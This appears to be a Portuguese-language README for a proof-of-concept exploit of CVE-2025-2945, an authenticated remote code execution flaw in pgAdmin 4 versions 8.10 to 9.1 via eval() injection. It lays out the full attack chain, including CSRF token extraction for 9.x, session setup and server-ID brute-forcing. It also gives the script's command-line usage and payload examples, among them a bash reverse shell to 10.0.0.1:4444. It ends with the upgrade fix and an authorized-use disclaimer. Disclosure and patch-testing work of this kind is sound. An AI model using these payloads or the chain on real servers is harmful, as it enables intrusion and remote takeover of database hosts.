
RCE autenticada no pgAdmin 4 (8.10–9.1) via injeção de eval() na Ferramenta de Consulta. Este é um PoC atualizado com correções de compatibilidade para as mudanças de autenticação do pgAdmin 9.x
Prova de conceito para CVE-2025-2945, uma vulnerabilidade crítica de execução remota de código no pgAdmin 4.
Versões afetadas: 8.10 a 9.1
Corrigido em: 9.2 (lançado em 4 de abril de 2025)
CVSS v3.1: 9.9 (Crítico)
O Query Tool do pgAdmin 4 expõe um endpoint que aceita um parâmetro query_commited e o passa diretamente para a função eval() embutida do Python, sem qualquer sanitização. Um atacante autenticado pode enviar código Python arbitrário através desse parâmetro e tê-lo executado no lado do servidor sob a conta de serviço do pgAdmin.
O endpoint vulnerável é:
POST /sqleditor/query_tool/download/<trans_id>
O campo query_commited no corpo JSON é avaliado como código Python no servidor.
Nas versões do pgAdmin 4 anteriores a 9.2, o manipulador de download do query tool chama eval() em entrada fornecida pelo usuário:
# Representação simplificada do caminho de código vulnerável
result = eval(data.get('query_commited'))
Nenhuma validação de entrada, sandboxing ou lista de permissões é aplicada. Qualquer expressão Python válida é executada com os privilégios do processo pgAdmin.
/authenticate/login, obter um cookie de sessão e token CSRF/sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> com as credenciais do banco de dados para estabelecer uma sessão do query tool/sqleditor/get_server_connection/<sgid>/<sid> iterando sobre IDs até que um retorne data.status == true/sqleditor/query_tool/download/<trans_id> com {"query_commited": "<python payload>"}, receber uma resposta 500 confirmando a execuçãoVersões mais antigas do pgAdmin embutiam o token CSRF em um campo <input> oculto ou em um cookie. A versão 9.x migrou para uma arquitetura SPA React, onde o token é embutido como JSON dentro de uma chamada window.renderSecurityPage() na página /login:
"csrfToken": "<token value>"
O token tem escopo de sessão (Flask-WTF / itsdangerous), portanto o token obtido do GET /login inicial permanece válido por toda a sessão e pode ser reutilizado em todas as chamadas de API subsequentes.
O pgAdmin 9.x dividiu a rota de login:
GET /login — renderiza a página de login (contém o token CSRF)POST /authenticate/login — processa as credenciaisPoCs mais antigas que fazem POST diretamente para /login receberão um 404 ou 405 em instâncias 9.x.
pip install requests faker
python3 poc.py \
--rhost <target_host> \
--username <pgadmin_email> \
--password <pgadmin_password> \
--db-user <db_username> \
--db-pass <db_password> \
--db-name <database_name> \
--payload "<python_expression>"
| Argument | Description |
|---|---|
--rhost | Hostname ou IP alvo (sem esquema) |
--rport | Porta alvo (padrão: 80) |
--username | Email de login do pgAdmin |
--password | Senha de login do pgAdmin |
--db-user | Nome de usuário do PostgreSQL |
--db-pass | Senha do PostgreSQL |
--db-name | Nome do banco de dados |
--payload | Expressão Python a ser avaliada no servidor |
--max-server-id | Máximo de IDs de servidor a testar (padrão: 10) |
Execução de comando:
--payload "__import__('os').system('id')"
Reverse shell:
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"
/sqleditor/query_tool/download/Atualize para o pgAdmin 4 versão 9.2 ou posterior.
Este repositório é apenas para fins educacionais e de testes autorizados. Não utilize contra sistemas que você não possui ou não tem permissão explícita para testar.